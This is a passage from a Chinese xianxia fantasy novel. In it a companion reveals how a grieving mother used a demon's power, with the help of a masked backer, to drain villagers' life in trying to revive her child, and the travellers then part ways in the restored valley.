谢常安睁开眼,沐念秋正与她额心相抵,呼吸交错间,她对上他琥珀色的眼眸,一股难以言明的心悸蔓延开来。她收回目光,从柔软的草地上坐了起来,周遭景物不变,浑身上下那种灵魂被撕扯的感觉消失地无影无踪,仿佛刚才的一切都是一场虚幻的镜花水月。
“我这是怎么了……”
她茫然地环顾四周,擦了擦脸,惊觉自己不知何时竟然已泪流满面,突然间想起什么似的,焦急地抓住身旁沐念秋的袖子,“小枫呢?她怎么了,她在哪?”
沐念秋拍了拍她的手,举起一大一小两个陶瓷瓶子,解释道:“她们没事,都在这里。”
“魂瓶?你还带了这个?”
“嗯。下次别再做这么危险的事了。”
“……你,都看到了吗?”
沐念秋眼眸低垂,淡淡道:“看到了……一部分。”
“……”
天枢院是炼器大宗,作为天枢院前弟子,谢常安当然不可能不知道,以身为器是炼器者大忌,稍微倒霉一点儿的,经受不住另一个灵魂的冲击,就会精神失常,丧失自我,而更严重的遇到生前怨气极大仇恨极深的魂魄,甚至有被夺舍的风险,任何一个理智的修真者都不会干出这么冲动的事情。
谢常安后知后觉地看出沐念秋的脸色并不好,几乎把责怪两个大字写在脸上了,她换位思考了一下,要是自己同行的朋友干出这么鲁莽的事,自己肯定也高兴不起来——更何况,把小枫破碎的灵魂从自己身体里抽离出来,应该也废了不少功夫,可自打自己醒来,他却一句抱怨也没有……
谢常安越想越内疚,悻悻然开口。
“我……”
正不知该如何解释,一旁卢春生跳出来打断道。
“好了,你们两个别你侬我侬了,快说说,你是不是看到了什么?”
“谁……”谢常安内疚的心情荡然无存,又一次惊讶于此人的情商。
刚想开口和他互喷,可一转头看到他满脸只有求知若渴,丝毫没觉得自己有什么不妥,顿时又泄了气。
自己和他置气,简直是对牛弹琴!
不知是不是自己的错觉,沐念秋却一反常态地没有用看垃圾的眼神看他,似乎和气了不少,谢常安暗暗欣慰了一小下。
随及她收敛目光,“卢大哥——卢春生,你不打算解释解释么?这一路上——”
沐念秋双手环抱,居高临下接道:“这一路上,你可留下不少‘东西’啊,你把我们从墓边引开,又一路指引我们找到湖底宫殿,每当线索中断,就会有新的线索送到眼前,不是有人有意为之,我实在想不出更好的解释了。说吧,你跟着我们,不,你引我们来到栖霞山谷,究竟有什么目的!”
本以为卢春生会遮掩搪塞,咬死不承认,没想到他毫不犹豫痛痛快快地全交代了——压根就没打算装。
“年轻人挺聪明嘛……没错,都是我干的!”
“……”
“……”
“我这么做……为了她,也为了我自己。”卢春生看了看那魂瓶,眼神里是说不出的寂寞悠远,“她的事,我不知道你们看到了多少……”
“我也是后来才知道,小枫从小就过得很苦,我第一次遇到她时,是在……望霞村西十里的一条小路上——没想到这个傻丫头真会给我修墓碑,还不小心被你们撞见了。”
“我那个时候,过得不太好,简单点说,就是宰相为了扶持自己的女婿上位,而我无家
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无室不党不群,却一度受到器重,我算是挡了别人的路,只好做了牺牲品。不过现在想想,其实也是早晚的事,无非是木秀于林风必摧之……”
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“可当时的我不明白这个道理,硬要拼个你死我活鱼死网破,哈哈,我哪里会是他们几世积威权势滔天的门阀世家的对手,最后闹得家破人亡,那是我最落魄的时候,侥幸逃了一命,流落到这个边陲小镇上,当时我为避人耳目,东躲西藏,十几天没吃过饭,体力不支晕倒在路边,是小枫,把我带回山上,救了我的命。”
“那个时候小久刚出生,我不知道她是和妖生的孩子,只当是他们一家避世而居,才住在山里。那段时间,我整个人都浑浑噩噩的,没注意到的事情实在太多了,现在想想,要是当时我……或许现在很多事都不会发生……”
卢春生就这么在山上安顿下来,看到山上的花草树木,听见婴儿的哭声,女人的温言细语,竟有一种恍如隔世的感觉,周遭一切都像是笼着一层纱一样,那么地不真切,他麻木地任凭时间把自己吞噬,后知后觉地再品出一点儿活着的味道。
不知道过了多久,或许是几天,也可能是几个月,突然有一天,一切都变了。
山上起了一把大火,等他浑浑噩噩地跑下山去,早已不见了小枫一家的身影。
“那是村里的人来捕杀大妖白猊了,匹夫无罪怀璧其罪,他们的行踪被外面的人注意到了,人人都是贪婪的。”
“等我再遇到小枫,已经是三个月之后的事情了。”
卢春生在一处荒郊野岭里捡到了丢了魂一样的小枫,小枫怀里抱着已经死去的婴儿的尸体,任凭他怎么劝也不肯松手。他只好把小枫和小久一起带回了自己的“新家”——他下山后,机缘巧合下投靠了一个云游的道士,造了个假身份勉强安顿下来,安置在离望霞村不远的一处院落里。
过了没几天,他渐渐发现,小枫的身上流转着一股说不清道不明的气息,更神奇的是,那已死的孩子,尸体竟丝毫没有腐败的迹象!
“那个时候她每天喃喃自语,从她的只言片语里我可以听出,小枫和那妖本早已约好了等孩子满月了就去栖霞山谷里安家。可偏偏……遇到了那样的事,小白死了,死之前把自己的妖丹给了小枫。”
直到有一天,卢春生一早起来,就发现了院子里的不同——桌上放着已经有点儿凉了的早饭,院子里却早已不见了小枫和孩子的身影。
小枫不告而别。
“再后来,我的假身份一度被戳穿,听说后来小枫找过我,大抵是没找到——还在山上的时候我和她聊过一些以前的事,我那时候觉得复仇无望,可怜我一家老小受我牵连,我自己苟活在世上也没什么意思,就拜托她说,等我死了能不能给我立个碑,找个山清水秀的地方把我埋了……可能我天生命不好吧,好在我逃命逃出了点经验,官府的人以为我坠崖死了,这事儿后来也就不了了之了。”
这次过了很久,卢春生才腾出精力来寻找小枫的下落,找了几年,直到有一天,他听说了栖霞山谷的异象。
34. 因果
他本能地觉得这事绝对和小枫有关,顺着这条线索,终于慢慢查清楚一些事情。
“白猊,妖力几乎能能活死人肉白骨。”
小枫得到这份力量后,渐渐地,她发现自己的身体出现了一些变化,她的五感变得异常灵敏,世界在她眼中变得不一样了,她能感受到万事万物间灵气的流转。她的血滴在枯萎的草上,草会活过来,她的眼泪落在凋谢的花朵上,花会重新开放。
于是她想尽办法要复活孩子,可生与死之间是一道巨大的鸿沟,古往今来,多少能人异士帝王将相,任凭你如何努力也跨不过去。不论是喂血还是输送妖力,她近乎自残地把所有能试过的方法都试了,却都不起作用。
再后来,她几近疯魔,她发现自己居然还可以转移生命力——吸取动植物的生气为自己所用,不会变老;但是把活物的生气转移到死物身上,就毫无作用。
于是她开始试验,不断研究,越来越熟练运用自己的这种能力,发现不同物种、年龄,包括地点、操作步骤和手法,都对结果有影响。这个时候,普通的动物植物已经无法满足她了。
“所以她……”一个可怕的念头在谢常安得脑海里升腾起来。
“活人。”卢春生道。
她要,要不同的人,男女老少都要,要满月大的孩子,要灵力充沛的洞天福地。同时她也发现这种控制死生的能力对自己消耗很大,抽离活体的生命时,尤其是活着的动物和人,对生命力的吸附性很强,抽离时要消耗更大的妖力。
“所以后来,望霞村着火了,火势蔓延了整个村庄,可火扑灭后,一具尸体都没找到。”
小枫发现靠自己的力量实在是太困难了,幸运的是,这时候有人找上了她——那人并不以真面目示人,每次出现的都只是一个阴阳脸的傀儡娃娃。
虽然这人古怪又危险,但是活着也就是那么回事儿,要么痛苦,要么麻木。
利用她又怎样?想要她的命也无妨,她想试一试,赌一把,看她的命究竟谁说了算!
她轻易答应了那人的交易,来到曾经魂牵梦萦的栖霞山谷,以湖水为媒介布下一个特殊的阵法,将满山的红枫都隔绝开来,让栖霞山谷的一切生物不再散发出生命力。这样一来,外面的人看来这里是一片死地,只有下雨的时候,雨水落入湖面,阵法才会有所波动——这就是栖霞山谷消失的谜团。
而那人也是十分神通广大,每月都会源源不断地给小枫送去足够的满月的婴儿、不同年纪的男女老少,供她给小久“续命”。再领着成队的人马,从山谷里带走大量的白水晶矿石。
听完这段长长的叙述,谢常安二人心里俱是五味杂陈。
“所以……你引我们来这里,就是想破开结界,让小枫回头是岸。”谢常安感叹道,“可哪里是岸?她早就回不了头了……”
谢常安不知道还能说什么,小枫无辜吗?可那些枉死的人岂非更加无辜?
可她该死吗?
她不知道,怎么会有人的命运这么悲惨。
只听得“砰——”的一声,器物倒塌的声音把谢常安飘忽的思绪拉回现实。
三人同时回头去看,原先放魂瓶的石头上,已不见了两个瓶子。
小的魂瓶不知什么时候掉在地上,大魂瓶此时骨碌碌滚倒在地,发出声响,滚到小魂瓶旁边,两个魂瓶紧紧贴在一起。
地上还躺着一枚碧绿色的扳指。
“咦,这是什么?”谢常安捡起扳指,“是小枫留下的吗?”
“里面还刻着字。”
“刻的什么?我看看……看不清啊……”
“诶呀急死我了,拿来我看!”卢春生一把抢过,眯着眼使劲瞅,“什么字啊,是汉字吗?看不懂啊……”
“……你不行,兄长,你来看看!”
“他看得懂?我不信……”
“南宫。”
“啊?”
“真的假的啊?不是你小子瞎编的吧?”卢春生不信。
“南宫是什么意思,为什么刻个这么少见的姓在上面?”谢常安问道。
“这是妖族的文字……”
“你认识妖族的文字?”卢春生打断道。
“略识一二。”
沐念秋接着道:“‘南宫’据我所知,是离望岛主的姓氏。并且此玉名‘翠微’,列松如翠,清微淡远,只有离望岛才有,所以我认为——这扳指,是离望岛主之物。”
“离望岛的东西为什么会在小枫这里?”
谢常安握住扳指,只觉眼前所见事物好似一下被放慢了十倍,时间空间皆为她所用,供她驱使,她一步迈出。
只一瞬,一站在十米开外。
原来小枫竟是用这东西来操纵空间的!
“什么好东西,给我看看!”卢春生拿过扳指,试着带上使用了一下,却毫无反应。
玉扳指裂了一道缝隙,不能用了。
谢常安:“坏掉了?”
沐念秋:“嗯。”
“好可惜……我还有一个问题。”
“离望岛……羽织族,为什么会用妖族文字?”
“不知道。”
“这事儿和离望岛怎么还有关系了?”卢春生也奇怪得很。
“卢大哥,连你也不知道吗?”
“真是奇也怪哉,小枫从来不认识什么‘离望岛’的人啊?”
“有没有一种可能,这个扳指,是小久的爸爸,也或许是那个小枫口中的神秘人!”
“有几分道理啊……说不定就是那个不敢露面的坏蛋给小枫干坏事用的,小枫一死,这东西立马就不能用了……”
“所以那个神秘人是离望岛的岛主?”
“极有可能。”
“离望岛不是避世已久,怎么会做这么丧心病狂的事情?”
“不知道。”
“……”
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带着装着小枫和小久的魂瓶,三人一起回到了岸上。小枫的魂魄一离开,笼罩在湖底宫殿的结界也随之消散,涌进去的水流冲散了湖底那梦幻瑰丽的水中城堡。
数年的恩怨也随着那一砖一瓦,如同梦里黄粱,枕上云烟,顷刻间烟消云散了。
一出水,映出眼帘的是满谷的枫叶似火,天光乍泄,笼罩在谷上数年的结界也随着主人的离世消失殆尽,尘封经年的栖霞山谷又一次迎来了它原本的面目。
谢常安扶着沐念秋的手爬上岸边,拨云见日般,整个山谷清澈而明亮,枫树成林,火红的枫叶连成一片,在风中摇曳飘落,似是永不熄灭的火焰。树下绿草成荫鲜花似锦,枝叶舒展,散发着莹莹微光,一派生意盎然。原先光秃秃的石壁上璀璨夺目,是成片的水晶,阳光打在这些不规则的晶石上,千丝万缕折射出绚丽多彩的光晕。那光晕伴着红枫,更映衬得整个山谷如同梦境一般,梦幻夺目。
没想到此地竟有如此美景,她第一次领略到了妖界那惊人的生机,不知是该感叹造物主的鬼斧神工,还是该惊叹大千世界的浩渺无垠。
呼吸着清新的空气,微风阵阵,吹散了她心头一直挥之不去的阴霾,她一时忘却了迷惘和烦忧,后知后觉地感觉到了一阵疲惫涌上四肢。
她大大地伸了个懒腰,“我真的有点累了,咱们能不能在这歇一会儿?我现在太想躺一下了……”
说完,谢常安看也不看直接席地而坐,光秃秃的湖岸已长出厚厚的青草,坐在上面软绵绵的,一阵阵青草的芬芳萦绕在鼻尖。
她伸手拽了拽旁边沐念秋的衣摆,示意他坐下来,阳光打在身上暖洋洋的。<
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自打来到这个被诅咒的山谷,她已经多日没见过这么好的阳光了,她把两个魂瓶并排摆在了太阳能照到的地方,眯着眼睛往后一躺。
三人并排躺在草地上,目之所及全是火红绚烂的枫叶。
谢常安突然不想再追究了,卢春生从一开始靠近他们的目的就不纯,这一路上虽说有惊无险,可最后竟落得这样一个结局。
小枫死了,那些因小枫而死的人也不可能再活过来,现在和事情有关的唯一还活着的卢春生,除了把他们骗到谷底,好像也并没有做过什么伤天害理的事情——说起来他也是个运气不好、生不逢时的倒霉人。
而真正酿成这起悲剧的罪魁祸首们,早已死的死亡的亡,不知化成哪一摊白骨了。
只有那在背后推波助澜的神秘人还未浮出水面。
良久,她才开口。
“卢大哥……”
“他真是你哥哥吗?”卢春生不等她说完,没头没尾地问了一句。
“什么?”谢常安不解。
“谢姑娘,在下不才,有良田十亩,屋宅一座,正好缺一位夫人。你要不要和我一起回家,我家山清水秀,每天种花养鸟,悠闲自在。”
卢春生闭着眼睛悠悠念叨着,双手枕在脑后,还是那个没什么正形的样子,可谢常安却从他平常的语调中听出了一丝落寞。
沉默半晌,她随便笑了笑,“第一次被人表白,你也太没诚意了。”
她看着卢春生,卢春生也看着她。
“对不起。”卢春生道。
“算了,不怪你……”谢常安错开视线,无所谓道,“卢大哥,你呢?接下来有什么打算?”
“我还欠她一条命,以后我想替她赎罪。等罪赎清了,就带她们回家。”
天高海阔,何处是家?此心安处,四海为家。
片刻,卢春生又道,“你们想查的话,就去万妖谷吧。往西走,过三川七岭,如果你们运气好的话,说不定能查到些什么。我只知道这么多了,小枫她……”
将魂瓶交给了卢春生,三人沿着山谷走了一阵,卢春生要向东原路出谷,而谢常安二人则要继续往西向妖界更深处前行。
“安妹妹……不,谢姑娘,我是真的……”
“什么?”谢常安道。
沐念秋狠狠瞪着他。
卢春生看了眼他们,“算了,这个送你,我等你。祝你幸福。”
“这是什么?”
谢常安得掌心躺着一枚小小的锦囊。
“退路。”卢春生道。
“退路?”
“……到时候你就知道了,不过……希望你永远也别知道。”
“我能打开看看吗?”
“现在别打开——等你走投无路时,我就是你的柳暗花明。”
“……好吧。”
“好了,不说了,我要走了。”
终于到了该分道扬镳的时候,天下无不散的宴席,卢春生随意挥了挥手,还是那副四六不着调的模样,该说的话已说尽,无需繁文缛节再依依道别。
眼见着他走远了,谢常安心下忍不住感慨,刚认识不久的人这么快就要分离,此时一别,或许今生没机会再见。
人和人的关系难道都是这样如同浮萍一般转瞬即逝吗?
卢春生却又停下脚步,忽的转过身来,朝着他们大喊道:“谢姑娘,你嘴不蓝了还怪好看的——”
“…………”
谢常安哭笑不得,好容易聚起来的多愁善感一下荡然无存,此人真是一如既往,破坏气氛一把好手,自己真是多余为他感慨,简直浪费感情!
说完这话,卢春生头也不回,像个大马猴似的,没几下就爬上了山壁,几个来回消失在悬崖峭壁间,再不见踪迹。